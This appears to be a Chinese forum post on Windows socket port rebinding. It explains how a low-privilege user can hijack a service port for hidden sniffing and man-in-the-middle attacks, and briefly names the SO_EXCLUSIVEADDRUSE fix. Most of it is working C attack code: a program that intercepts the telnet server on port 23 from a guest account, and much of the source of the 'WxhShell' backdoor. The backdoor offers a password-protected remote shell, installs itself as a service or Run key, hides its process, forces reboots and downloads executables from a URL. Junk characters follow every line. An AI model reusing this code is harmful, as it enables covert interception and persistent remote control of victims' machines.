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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0w[0%:R^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L(1,W<kYg  
kX ,FQG>  
  saddr.sin_family = AF_INET; CN$A-sjZ  
^/d^$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J! 6z  
|b-Zy~6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -g[*wN8  
)[M<72  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *liPJ29C[  
0h@%q;g  
  这意味着什么?意味着可以进行如下的攻击: :5cu,&<Gv  
@X6#$ex  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +&N&D"9A  
H+#wj|,+\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u$%#5_k  
hPeKQwzC0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k>0cTBY&  
55\X\> 0C7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _6-/S!7Y\  
P7x?!71?L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 GY$?^&OO>  
<9k}CXv2PK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^Lfn3.M  
U_{JM`JY  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 CU>K  
U)w|GrxX  
  #include >'|xQjLl  
  #include /L|}Y242  
  #include K7O? {/  
  #include    -R$FJb Id  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z Hs  
  int main() ][5p.owJse  
  { 8rG&CxI  
  WORD wVersionRequested; ?jn6Op  
  DWORD ret; g1*H|n h2  
  WSADATA wsaData; ;=9v mQA  
  BOOL val; o27`g\gDR,  
  SOCKADDR_IN saddr; zl#&Qm4Ot  
  SOCKADDR_IN scaddr; qM:)daS1w  
  int err; y0&HXX#\  
  SOCKET s; ] xLb )Z  
  SOCKET sc; >scS wT  
  int caddsize; F+$@3[Q`N  
  HANDLE mt; @[b:([  
  DWORD tid;   ty< tv|p  
  wVersionRequested = MAKEWORD( 2, 2 ); .sR&9FH  
  err = WSAStartup( wVersionRequested, &wsaData ); z3jz pmz  
  if ( err != 0 ) { y yR8VO{  
  printf("error!WSAStartup failed!\n"); 8m[L]6F(-z  
  return -1; s=~7m.m  
  } MJ"Mn^:/  
  saddr.sin_family = AF_INET; *,[=}v1  
   "!/_h >  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 re7\nZ<\|  
iM/0Yp-v'>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v|RaB  
  saddr.sin_port = htons(23); hic$13KuP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5GFnfc}  
  { XK/@!ud"`  
  printf("error!socket failed!\n"); (l P4D:X  
  return -1; ,M h/3DPgE  
  } O/^w! :z'  
  val = TRUE; dDn4nwH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QRHm |f9_C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2[YD&  
  { taEMr> /  
  printf("error!setsockopt failed!\n"); 4qz{ D"M  
  return -1; FuiW\=^  
  } {uM{5GSL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jp]geV54  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3cFLU^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 '/*c Yv45  
 ~0'l,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) IIn\{*|mW  
  { ?jm2|:  
  ret=GetLastError(); 8oH54bFp  
  printf("error!bind failed!\n"); U?ic$J]N  
  return -1; ?~Ed n-" Y  
  } \fR:+rbQ&|  
  listen(s,2); c_qy)N  
  while(1) eC`f8=V  
  { r= | |sZs  
  caddsize = sizeof(scaddr); rtF6Lg  
  //接受连接请求 <r`Jn49  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >~>[}d;glw  
  if(sc!=INVALID_SOCKET) jTgh+j]AP  
  { : RO:k|g  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); RTY4%6]O  
  if(mt==NULL) >`|uc  
  { ?HyioLO  
  printf("Thread Creat Failed!\n"); e CUcE(  
  break; ZWW8Hr  
  } $K5s)!  
  } {=4:Tgw  
  CloseHandle(mt); q8bS@\i  
  } 4KSN;G  
  closesocket(s); FH21mwV  
  WSACleanup(); J<*Mk  
  return 0; g):jZU]b  
  }   (a!,)  
  DWORD WINAPI ClientThread(LPVOID lpParam) D"f(nVEr  
  { . mrRv8>$  
  SOCKET ss = (SOCKET)lpParam; "wC5hj]  
  SOCKET sc; f4I9H0d;!  
  unsigned char buf[4096]; HbSx}bM_9  
  SOCKADDR_IN saddr; lFV|GJ  
  long num; g uWqHVSs  
  DWORD val; 0_pwY=P  
  DWORD ret; ZxPAu%Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~ A|*]0,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /=(FM   
  saddr.sin_family = AF_INET; 3D dG$@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (3r,PS@Qq@  
  saddr.sin_port = htons(23); G ]By_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G&3<rT3Ib  
  { 4:PP[2?  
  printf("error!socket failed!\n"); 3'e 4{  
  return -1; <!(n5y_  
  } CHw_?#h  
  val = 100; O~ 0 1)%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %9Fg1LH42r  
  { =e/4Gs0*  
  ret = GetLastError(); 0U*"OSpF  
  return -1; O~OWRJ@p  
  } A3pQ?d[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @BhAFv,7  
  {  /?xn  
  ret = GetLastError(); 9cj-v}5j  
  return -1; \^LR5S&  
  } F|Ihq^q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HZ=yfJs nc  
  { g|_*(=Q  
  printf("error!socket connect failed!\n"); *bSG48W("  
  closesocket(sc); K3D $ hb  
  closesocket(ss); O;?~#E<6w  
  return -1; K+OU~SED%F  
  } L1 VTq9[3  
  while(1) 'Jr*oru  
  { s7} )4.vO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 BniVZCct  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n7uD(cL  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g(H3arb&  
  num = recv(ss,buf,4096,0); Sd6^%YB  
  if(num>0) [KJL%u|8/  
  send(sc,buf,num,0); :C6r N}_k  
  else if(num==0) rNC3h"i\  
  break; ra2q. H  
  num = recv(sc,buf,4096,0); )ixE  
  if(num>0) )d`$2D&iY  
  send(ss,buf,num,0); !P3|T\|]+  
  else if(num==0) iH0c1}<k$  
  break; R7E"7"M10  
  } RR=l&uT  
  closesocket(ss); %BLKB%5  
  closesocket(sc); h!~yYNQ"  
  return 0 ; !:{_<C"D  
  } ksp':2d}  
 N&.p\T&t  
TaT&x_v^~a  
========================================================== %TgM-F,8  
9Bw"VN]W  
下边附上一个代码,,WXhSHELL _Z2)e*(  
e5KF~0`  
========================================================== Sn&%epi  
Y|nTc.A  
#include "stdafx.h" Mv =;+?z!  
\s'6)_  
#include <stdio.h> /^G+vhlf\  
#include <string.h> $7YLU{0  
#include <windows.h> _Y {g5t  
#include <winsock2.h> i(HhL&  
#include <winsvc.h> ^O m]B;  
#include <urlmon.h> yQ50f~9  
E5Jk+6EcMa  
#pragma comment (lib, "Ws2_32.lib") Y))sk-  
#pragma comment (lib, "urlmon.lib") vq:j?7  
cn:VEF:l  
#define MAX_USER   100 // 最大客户端连接数 1j,Y  
#define BUF_SOCK   200 // sock buffer p\\q[6  
#define KEY_BUFF   255 // 输入 buffer I5?LD=tt  
9~I WGj?  
#define REBOOT     0   // 重启 0in6 z  
#define SHUTDOWN   1   // 关机 JN)t'm[kyE  
W:J00rsv=`  
#define DEF_PORT   5000 // 监听端口 d*HAKXd&:j  
JH#+E04#  
#define REG_LEN     16   // 注册表键长度 k<H&4Z)d9  
#define SVC_LEN     80   // NT服务名长度 iwJgU b  
^)~M,rW8c  
// 从dll定义API %C<eR_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UUq9UV-h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yr'`~[oSCy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kq-RM#Dj:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q2JjBV<  
amgex$  
// wxhshell配置信息 N0C5FSH  
struct WSCFG { rfoCYsX'  
  int ws_port;         // 监听端口 o9>X"5CmX  
  char ws_passstr[REG_LEN]; // 口令 7F\g3^ z9`  
  int ws_autoins;       // 安装标记, 1=yes 0=no oR)7 \;g  
  char ws_regname[REG_LEN]; // 注册表键名 i,T{SV  
  char ws_svcname[REG_LEN]; // 服务名 N0PX<$y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YeJdkt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p4 PFoFo2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &tIm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r%i{a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eSU8/9B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n3\vq3^?  
QCw<* Id+  
}; WAbhB A  
U"]i.J1  
// default Wxhshell configuration [-ecKPx  
struct WSCFG wscfg={DEF_PORT, ]\lw^.%  
    "xuhuanlingzhe", o ++Hdvai  
    1, C7PiuL?  
    "Wxhshell", C2v7(  
    "Wxhshell", XjbK!.  
            "WxhShell Service", 6"(&lK\^  
    "Wrsky Windows CmdShell Service", ~@;7}Aag  
    "Please Input Your Password: ", f9$q.a*  
  1, IYPLitT  
  "http://www.wrsky.com/wxhshell.exe", w=$_',5#Z  
  "Wxhshell.exe" RI=B(0 A  
    }; qxx.f5 8H  
}f}&|Vap  
// 消息定义模块 RP9||PFS~~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |IvX7%*]~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F/Xhm91 ^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &Is%I<'o  
char *msg_ws_ext="\n\rExit."; vI@8DWs  
char *msg_ws_end="\n\rQuit."; we9AB_y  
char *msg_ws_boot="\n\rReboot..."; I1,?qr"Zr  
char *msg_ws_poff="\n\rShutdown..."; 79DC]48M  
char *msg_ws_down="\n\rSave to "; 8ZDq KQ1;  
yS""*8/  
char *msg_ws_err="\n\rErr!"; '4rgIs3=x"  
char *msg_ws_ok="\n\rOK!"; b+>godTi_  
a=R-F!P)  
char ExeFile[MAX_PATH]; ;D:v@I$I  
int nUser = 0; 0% /M& N  
HANDLE handles[MAX_USER]; "oQ@.]-#  
int OsIsNt; ZSNg^)cN  
P}jr 8Z  
SERVICE_STATUS       serviceStatus; |Th{*IJ <,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K2QD&!4/T2  
By9/tB  
// 函数声明 `*a,8M%  
int Install(void); DH%X+r  
int Uninstall(void); J98K:SAR  
int DownloadFile(char *sURL, SOCKET wsh); ?0x;L/d])  
int Boot(int flag); 21qhlkdc  
void HideProc(void); 92i# It}-/  
int GetOsVer(void); c LJCLKJ  
int Wxhshell(SOCKET wsl); 'zaB5d~l  
void TalkWithClient(void *cs); ;b^@o,=  
int CmdShell(SOCKET sock); w'!gLta  
int StartFromService(void); ^&}Y>O,  
int StartWxhshell(LPSTR lpCmdLine); !`gg$9  
=6$(m}(74  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5eYCnc9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I zT%Kq  
*sTQ9 Kr  
// 数据结构和表定义 Jj!T7f*-GX  
SERVICE_TABLE_ENTRY DispatchTable[] = GCoqKE  
{ PJLA^eC7>  
{wscfg.ws_svcname, NTServiceMain}, ]q j%6tz  
{NULL, NULL} 1\Mcs X4  
}; !q X 7   
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// 自我安装 {9)f~EbM!  
int Install(void) XxIUB(.QI  
{ pr2d}~q4{  
  char svExeFile[MAX_PATH]; k`-L5#`  
  HKEY key; X7G6y|4;w  
  strcpy(svExeFile,ExeFile); x~W&a*WNT  
0V^?~ex  
// 如果是win9x系统,修改注册表设为自启动 Abl=Ev  
if(!OsIsNt) { B 5?(gb"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]OVjq ?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &"BKue~q@p  
  RegCloseKey(key); ,FTF@h-Cs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { */1z=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &~j"3G;e  
  RegCloseKey(key); jkbz8.K  
  return 0; 6jn<YR E-  
    } +RbCa c  
  } j_}e%,}  
} dCHU* 7DS  
else { cX*^PSM  
u^ T2  
// 如果是NT以上系统,安装为系统服务 T:si?7CR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ."R 2^`  
if (schSCManager!=0) W46sKD;\^W  
{ d; M&X!Y  
  SC_HANDLE schService = CreateService R\<^A~(Gl  
  ( k: {$M yK  
  schSCManager, M! s&<Bi  
  wscfg.ws_svcname, 6ul34\;  
  wscfg.ws_svcdisp, pY2nv/  
  SERVICE_ALL_ACCESS, MG~^>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  I{E10;  
  SERVICE_AUTO_START, y]Y)?])  
  SERVICE_ERROR_NORMAL, W?$ ImW  
  svExeFile, y]/{W}D  
  NULL, 9+L! A  
  NULL, Q/< $ (Y  
  NULL, )P$ IXA\  
  NULL, 3}H94H)]a  
  NULL !u^(<.xJ   
  ); vs.q<i-u  
  if (schService!=0) OvFZ&S[  
  { pd|c7D!6U,  
  CloseServiceHandle(schService); X 6>Pq  
  CloseServiceHandle(schSCManager); '\9A78NV{;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $rdA0%;  
  strcat(svExeFile,wscfg.ws_svcname); `Z{7Ut^)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MZ{)`7acR\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xT@\FwPr  
  RegCloseKey(key); 4Ld0AApncy  
  return 0; 5L4~7/kj  
    } SO}Hc;Q1`  
  } +%FG ti$[  
  CloseServiceHandle(schSCManager); lVqvS/_k$  
} kJ~^  }o  
} MOj 0"x)  
Gm*i='f!?  
return 1; hX;xbl  
} KB-7]H  
K$rH{dUM  
// 自我卸载 [E=t{&t  
int Uninstall(void) E;h#3 B9  
{ Q.!8q3`  
  HKEY key; A}$A~g5 Ap  
Jk`A}  
if(!OsIsNt) { wZ *m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _$1W:!f4  
  RegDeleteValue(key,wscfg.ws_regname); ><$hFrR!  
  RegCloseKey(key); ;VvqKyUh7`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #j@Su )+  
  RegDeleteValue(key,wscfg.ws_regname); 0|d%@  
  RegCloseKey(key); eX}uZR  
  return 0; VDscZt)y8  
  } C[~b6 UP  
} B=9|g1e  
} |vzGFfRI  
else { h8nJ$jg  
?+51 B-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YncY_Hu  
if (schSCManager!=0) vK|d P3  
{ >V NMQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xGz$M@f  
  if (schService!=0) wJ+"JQY.J+  
  { TVKuvKH8U  
  if(DeleteService(schService)!=0) { 5 J 0  
  CloseServiceHandle(schService); xHI>CNC,  
  CloseServiceHandle(schSCManager); D7 .R NXo  
  return 0; @v|_APy#  
  } 0E bs-kP  
  CloseServiceHandle(schService); VN*^pAzlF  
  } #S QFI;zj  
  CloseServiceHandle(schSCManager); GCc@ :*4[  
} w(s"r p}  
} eRD s?n3F  
Nmp1[/{J  
return 1; .4U::j}  
} #VD[\#  
E_-CsL%  
// 从指定url下载文件 KbSIKj  
int DownloadFile(char *sURL, SOCKET wsh) ]_j{b)t  
{ j5tA!o  
  HRESULT hr; /f_lWr:9l  
char seps[]= "/"; l 4(-yWC$H  
char *token; #Ey!?Z  
char *file; 7j{SCE;  
char myURL[MAX_PATH]; J}lBK P:-*  
char myFILE[MAX_PATH]; Z5\u9E"]  
7+@:wX\  
strcpy(myURL,sURL); ^cd+W?  
  token=strtok(myURL,seps); 4K:p  
  while(token!=NULL) d&t |Y:,8  
  { AOhsat;O`  
    file=token; p.&FK'&[0  
  token=strtok(NULL,seps); _v<EFal  
  } ]M>mwnt+  
{R]4N]l>  
GetCurrentDirectory(MAX_PATH,myFILE); f5^[`b3H  
strcat(myFILE, "\\"); H$WuT;cTE  
strcat(myFILE, file); 7 zK%CJ  
  send(wsh,myFILE,strlen(myFILE),0); ~- JkuRJ\  
send(wsh,"...",3,0); 6wfCC,2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i9uJ%nd:  
  if(hr==S_OK) T[L  
return 0; HBeOK  
else ,M5J~Ga  
return 1; d+Pfi)+(I  
BY6QJkI9x  
} ;E(%s=i  
<Sb W QbN  
// 系统电源模块 $D\SueZ  
int Boot(int flag) G5?Dt-;I  
{ wSnY;Z9W_  
  HANDLE hToken; U!TFFkX[  
  TOKEN_PRIVILEGES tkp; ]xb R:CYJ  
(?D47^F &  
  if(OsIsNt) { b$H{|[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1]m]b4]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M+9G^o)u  
    tkp.PrivilegeCount = 1; Whod_Uk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g#T8WX{(V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #:e52=  
if(flag==REBOOT) { RT4ns+J1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C]p3,G,oN  
  return 0; %Gv8 ]Yb  
} O\=3{  
else { 5L%A5C&|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }LN +V~  
  return 0; bwS1YGb  
} :dLfM)8}  
  } O#uTwnW  
  else { sJ{NbN~`I  
if(flag==REBOOT) { Y }aa6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 98x]x:mgI_  
  return 0; #B_ ``XV  
} 0Ou`& u  
else { ?n8gB7(FA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;gu_/[P  
  return 0; U8PSJ0ny  
} EQET:a:g  
} JF IUD{>fp  
XL1v&'HLV  
return 1; E?m(&O j  
} ~8o's`  
jqh d<w  
// win9x进程隐藏模块 Nl"< $/  
void HideProc(void) F\ yxXOI  
{ "}Of f  
CD;C z*c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KW ]/u  
  if ( hKernel != NULL ) 4#{i  
  { dd@qk`Zl&A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 06|+ _  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `B}( Ln  
    FreeLibrary(hKernel); %+ynrg-  
  } E9!u|&$S  
J] ^)vxm3  
return; Ph'*s{   
} ~q 0)+'  
" qY Pi  
// 获取操作系统版本 rhGHR5 g  
int GetOsVer(void) ,W;\6"Iwx'  
{ &.,ZU\`zT  
  OSVERSIONINFO winfo; Y9F!HM-`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KWq7M8mq  
  GetVersionEx(&winfo); K3Zc>QL{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hiZE8?0+~N  
  return 1; eQbDs_  
  else q90eB6G0g  
  return 0; Mhc!v, D$  
} ~pWbD~aeg  
QqA~y$'ut  
// 客户端句柄模块 "T|%F D&[  
int Wxhshell(SOCKET wsl) M.iR5Uh  
{ {f3&s4xj=  
  SOCKET wsh; dlsVE~_G  
  struct sockaddr_in client; E5(\/;[*`  
  DWORD myID; q{gt2OWqX  
z=J%-Hq>  
  while(nUser<MAX_USER) =\GuIH2  
{ 0!!b(X(  
  int nSize=sizeof(client); [4KW64%l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0wU8PZ Nj  
  if(wsh==INVALID_SOCKET) return 1; $@<qaR{t\  
8.3888  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B#9rqC  
if(handles[nUser]==0) Z[[ou?c  
  closesocket(wsh); cLj@+?/  
else O:cta/M  
  nUser++; ^|M\vO  
  } TO7%TW{L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !*_5 B'  
v<c~ '?YzO  
  return 0; Bt[OGa(q  
} &(UVS0=Dp,  
P~$FgAV  
// 关闭 socket {h5 S=b  
void CloseIt(SOCKET wsh) ;O5p>o  
{ 6Y<'Lyg/  
closesocket(wsh); _R-[*ucq  
nUser--; L5=Tj4`  
ExitThread(0); {KYbsD  
} !{tkv4  
;`Eie2y{M  
// 客户端请求句柄 +Bk" khH  
void TalkWithClient(void *cs) |d\ rCq >  
{ O) NEt  
VDq4n;p1  
  SOCKET wsh=(SOCKET)cs; k$1ya7-@  
  char pwd[SVC_LEN]; H. UwM  
  char cmd[KEY_BUFF];  W|XTa  
char chr[1]; *NzHY;e  
int i,j; \,| Xz|?C  
>tTNvb5  
  while (nUser < MAX_USER) { G?e"A0,  
hyqsMkW|  
if(wscfg.ws_passstr) { q{I,i(%m8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 22lC^)`TE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SZW+<X  
  //ZeroMemory(pwd,KEY_BUFF); HH =sq  
      i=0; *IL x-D5qr  
  while(i<SVC_LEN) { h$7rEs  
rV.04m,  
  // 设置超时 JbN@AX:%  
  fd_set FdRead; ~"F83+RDe  
  struct timeval TimeOut; Mr'P0^^  
  FD_ZERO(&FdRead); /Ud<4j-  
  FD_SET(wsh,&FdRead); MN1 kR  
  TimeOut.tv_sec=8; Ba==Ri8$  
  TimeOut.tv_usec=0; oo sbf#V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >Hb>wlYR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <8#Q5   
IH|PdVNtg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zo`Ku+RL2'  
  pwd=chr[0]; VbR /k,Co  
  if(chr[0]==0xd || chr[0]==0xa) { AY{#!RtV  
  pwd=0; Fr/3Qp@S  
  break; ? ->:,I=<~  
  } dm;H0v+Y'  
  i++; J!r,ktO^U?  
    } ivL}\~L  
*{/ ww9fT  
  // 如果是非法用户,关闭 socket v_-S#(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wBlfQ w-N  
} {*WJ"9ujp]  
\z>Re$:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v"'Co6fw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m>dZ n  
Sj?u^L8es}  
while(1) { `tZu~ n  
bH+x `]{A  
  ZeroMemory(cmd,KEY_BUFF); +76{S_CZ  
ds@X%L;_  
      // 自动支持客户端 telnet标准   g=w,*68vuy  
  j=0; ($a ?zJr  
  while(j<KEY_BUFF) { zs#s"e:jeR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h'Tn&2r6  
  cmd[j]=chr[0]; ,M@LtA3g  
  if(chr[0]==0xa || chr[0]==0xd) { ~&-8lD];LM  
  cmd[j]=0; fh~"A`d  
  break; R  Fgy  
  } EX^}#|e*h  
  j++; ];BGJ5^j  
    } 01v7_*'R  
>s#[dr\ww  
  // 下载文件 eeI aH >  
  if(strstr(cmd,"http://")) { @j +8M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7w}D2|+  
  if(DownloadFile(cmd,wsh)) =@%;6`AVcp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B&^WRM;7t  
  else ke.{wh\0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VrL==aTYXs  
  } V=yRE  
  else { gp07I{0~m  
2kg<O%KA`c  
    switch(cmd[0]) { :|hFpLt  
  +B^(,qKMN  
  // 帮助 ]L0GIVIE  
  case '?': { b~F(2[o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xs<~[l  
    break; ?v-Y1j  
  } jG($:>3a@  
  // 安装 d D6I @N)X  
  case 'i': { _isqk~ ul  
    if(Install()) TMt,\gTd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nxk3uF^  
    else 4o,%}bo&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >:W7f2%8`  
    break; a[TR_ uR  
    } $Pa7B]A,Ae  
  // 卸载 uK6_HvHuy  
  case 'r': { ,(aOTFQS  
    if(Uninstall()) 7U=|>)Q0s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G9?6qb:  
    else ^X2U A{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u{%gB&nC  
    break; Fv!zS.)`  
    } rBBA`Ut@F  
  // 显示 wxhshell 所在路径 5#jna9Xc  
  case 'p': { HN'r ZAZ(  
    char svExeFile[MAX_PATH]; =)Z!qjf1U  
    strcpy(svExeFile,"\n\r"); f1R&Q  
      strcat(svExeFile,ExeFile); rNzsc|a:  
        send(wsh,svExeFile,strlen(svExeFile),0); B<.XowT'  
    break; /4 zO  
    } j.C)KwelBS  
  // 重启  =[Lo9Sg  
  case 'b': { .<`W2*1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x+~IXi>Ig  
    if(Boot(REBOOT)) |12Cg>;j*n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g@WGd(o0)  
    else { a`}b'X:  
    closesocket(wsh); >FtW~J"X  
    ExitThread(0); C N9lK29F)  
    } m9*Lo[EXO  
    break; \EH:FM}l,  
    } o`^GUY}  
